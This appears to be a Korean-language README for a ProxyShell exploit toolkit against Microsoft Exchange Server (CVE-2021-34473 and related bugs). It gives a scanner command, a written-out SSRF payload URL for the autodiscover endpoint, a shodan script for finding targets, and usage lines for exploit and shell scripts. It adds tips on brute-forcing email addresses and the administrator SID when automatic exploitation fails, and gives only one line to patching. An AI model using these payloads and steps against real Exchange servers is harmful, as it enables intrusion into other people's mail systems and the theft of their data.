ProxyShell (CVE-2021-34473)

CVE-2021-34473 마이크로소프트 Exchange Server 원격 코드 실행 취약점. 이 잘못된 URL 정규화를 통해 Exchange Server 머신 계정으로 실행되는 동안 임의의 백엔드 URL에 접근할 수 있습니다. 이 버그는 ProxyLogon의 SSRF만큼 강력하지는 않으며 URL의 경로 부분만 조작할 수 있지만, 임의의 백엔드 접근을 통해 추가 공격을 수행하기에 충분히 강력합니다.

• CVE-2021-34523 - Exchange PowerShell 백엔드 권한 상승
• CVE-2021-31207 - 인증 후 임의 파일 쓰기

Scanner

Pwn2Own에서 orange tsai가 발견한 Proxyshell RCE (CVE-2021-34423, CVE-2021-34473, CVE-2021-31207)를 위한 nuclei 스캐너로, 마이크로소프트 Exchange Server에 영향을 미칩니다.

nuclei -u target.com -t proxyshell.yaml

https://xxx.xxx.xxx.xxx/autodiscover/[email protected]/mapi/nspi/?&Email=autodiscover/autodiscover.json%[email protected]

shodan 대상

sudo python3 shodan-query.py

사용법

sudo python3 ProxyShell.py -u https://<IP>

기능

• 이메일 주소를 제공할 필요 없음
• Active Directory에서 이메일 열거 시도
• Active Directory에서 LegacyDN 열거 시도
• 내장된 이메일에서 LegacyDN 발견 시도
• 부하 분산 배포에서 Exchange 서버의 SID 발견 시도
• 부하 분산 환경에서의 익스플로잇 처리

수동 침투 테스트

 python2 /manual/check.py 
 sudo python3 /manual/proxyshell.py
 python2 /manual/shell.py 

팁:

• 타겟 정보 수집(recon)을 통해 유효한 이메일 주소 찾기
• 이메일을 찾지 못한 경우, 이메일 파일로 타겟에 무차별 대입(bruteforce) 사용
• 일부 타겟에서는 자동 익스플로잇이 작동하지 않으므로 SID를 무차별 대입하여 SID=500으로 교체해야 합니다.

완화 조치

다음에서 발견된 보안 업데이트를 적용하세요: CVE-2021-34473

참조

• proxylogon orange
• proxylogon orange 2
• python2